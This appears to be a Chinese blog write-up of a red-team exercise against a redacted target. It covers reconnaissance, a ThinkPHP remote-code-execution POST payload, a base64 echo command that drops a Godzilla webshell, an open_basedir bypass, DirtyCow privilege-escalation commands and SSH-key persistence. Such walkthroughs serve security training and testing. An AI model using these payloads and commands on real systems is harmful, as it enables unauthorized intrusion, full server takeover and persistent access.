攻防系列之全垒打

admin 2023年5月19日09:14:42评论30 views字数 2803阅读9分20秒阅读模式

资产收集



第一步,域名收集

首先打开目标官网并且在tianyancha、qichacha等网站上进行收集目标域名。

天眼查:

https://www.tianyancha.com/

对目前环境来说,是最适合也是最好用的查询平台。

攻防系列之全垒打

企查查:

https://www.qcc.com/

经过改版不是很好用了,因为某些特殊原因,对政企、央企等等目标不是很友好。

攻防系列之全垒打

自动化工具推荐:

ENScan_GO

这个自动化工具是狼组开发的go版本的ENScan,一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。

可以直接帮助我们自动化爬取天眼查、企查查的搜索结果。工具链接:

https://github.com/wgpsec/ENScan_GO

另补充:

域名是最重要的资产收集步骤,没有之一。因为后续的子域名收集、IP端口扫描都是基于域名的收集。如果域名没有收集到位,那么我们的资产必然收集缺失。

所以笔者建议,如果攻击时间充足,那么务必手工收集资产域名。


第二步,子域名扫描

对第一步收集的域名进行子域名扫描。

自动化工具推荐:

Oneforall

OneForAll是一款功能强大的子域收集工具.

笔者比较喜欢这个工具的原因是:

1、利用python编写 2、内置api强大 3、内涵子域名爆破

https://github.com/shmilylty/OneForAll

Ksubdomain

无状态子域名爆破工具

https://github.com/knownsec/ksubdomain


第三步,网络空间测绘平台

利用网络空间测绘平台进行收集目标资产

平台推荐

hunter

https://hunter.qianxin.com/

攻防系列之全垒打

fofa

https://fofa.info/

攻防系列之全垒打


第四步,端口爆破

将子域名扫描工具Oneforall及Ksubdomain扫描出来的IP结果导出,加上网络空间测绘出来IP都放入文件中。

自动化扫描推荐:

主要功能就是端口扫描,并且它能将banner也扫描出来。当然其他的全端口扫描工具也有很多,我习惯于用这个工具。

https://github.com/4dogs-cn/TXPortMap

用法:

将IP列表放入IP中执行命令即可,建议放在VPS中跑比较好。

nohup ./txportmap -l ip.txt -p 1-65535 &


第五步,上漏洞扫描器

首先打开了笔者珍藏了二十年的扫描器,将子域名及端口扫描的url全部都扫描一遍,主动扫描、被动扫描都可以,这个可以取决于大佬们习惯于使用的漏洞扫描器。

在一个月黑风高的晚上,笔者一边啃着一块五买的馒头,一边追着剧(摸鱼,嘿嘿嘿),突然发现扫描器一直在嘀嘀嘀嘀的响,立马高高兴兴的开始干活。


外网打点Thinkphp RCE


首先就是一个登录框,但是珍藏了二十年的扫描器告诉我存在thinkphp rce

攻防系列之全垒打

随便输点东西,报错,坐实了ThinkPhp框架

攻防系列之全垒打

使用GitHub利用工具打均失败。怀疑是disabledfunction了, 只能使用POC包去测试哪些方法被disabled了

poc包如下:


POST /admin/ HTTP/1.1

Accept-Encoding: gzip

Host: 

Referer:xxx.xxx.xxx.xxx 

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=j9js8h908kg4vqs4sd76ibc9iq

Connection: close

Content-Length: 61

get[]=phpinfo&_method=__construct&method=get&filter=exec

发现exec函数被禁了,把全部方法都测试了一下,大部分的函数都被禁了。

经过半个小时的测试,最后发现:call_user_func 可以使用shell_exec无回显但是dnslog可以带出数据. 成功执行代码。

攻防系列之全垒打

发现disable_function 基本把函数都禁掉了。

通过phpinfo 可以知道是linux 系统 也知道了路径 那么可以直接写入木马


直接写入木马Getshell

经过尝试,冰蝎马连接不上,还是哥斯拉强悍!!!

这里分析了一下原因,冰蝎马和哥斯拉的马用的执行函数不通,可能冰蝎马的执行函数没有过disabled.而哥斯拉的过去了。

把哥斯拉马 base64加密 echo上去 (这里是个小技巧):

echo 木马base64加密 |base64 -d > ./loginxxx.php 

攻防系列之全垒打

我们直接访问目标: 

http://www.xxx.com/.sys5.php

发现已经存在文件了然后哥斯拉连接shell:

攻防系列之全垒打


bypass open_basedir

这个时候一直出现打不开目录。感觉用户访问文件的活动范围限制在指定区域了。这时我想到了哥斯拉的插件 BypassOpenBasedir:

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/;/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

攻防系列之全垒打

那么问题就迎刃而解了。所有的目录都可以看了。


权限提权-脏牛


接着就是信息收集,发现权限贼小,只是www权限。上传linux-exploit-suggester.sh 准备进行提权。

攻防系列之全垒打

发现可以使用脏牛进行提权,直接提权一把梭:

工具链接:

https://github.com/FireFart/dirtycow

脏牛工具使用教程:

1 gcc -pthread dirty.c -o dirty -lcrypt

2 chmod +x dirty

3 ./dirtypassword

4 su firefart (坑点)

攻防系列之全垒打

一直提示:

Password: su: Authentication failure

我都快疯了。一直登录不上,墨迹了半个小时

后来,我决定搭建代理,使用XSHELL 登录该用户

成功拿下。

攻防系列之全垒打


权限维持-ssh公私钥


啥也不说,第一时间搞个公私钥 小小的权限维持一下

1、Kali 生成公私钥:

ssh-keygen -t rsa

2、id_rsa.pub 拷贝到服务器

/home/root-server/.ssh 改名为 authorized_keys

3、使用Xshell 的私钥连接即可

攻防系列之全垒打


总结


攻击总过程:

资产收集-漏洞扫描-发现thinkphpRCE-过disabled-getshell-过open_basedir-脏牛提权-ssh公私钥权限维持


原文始发于微信公众号(哈拉少安全小队):攻防系列之全垒打

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月19日09:14:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防系列之全垒打http://cn-sec.com/archives/1744967.html

发表评论

匿名网友 填写信息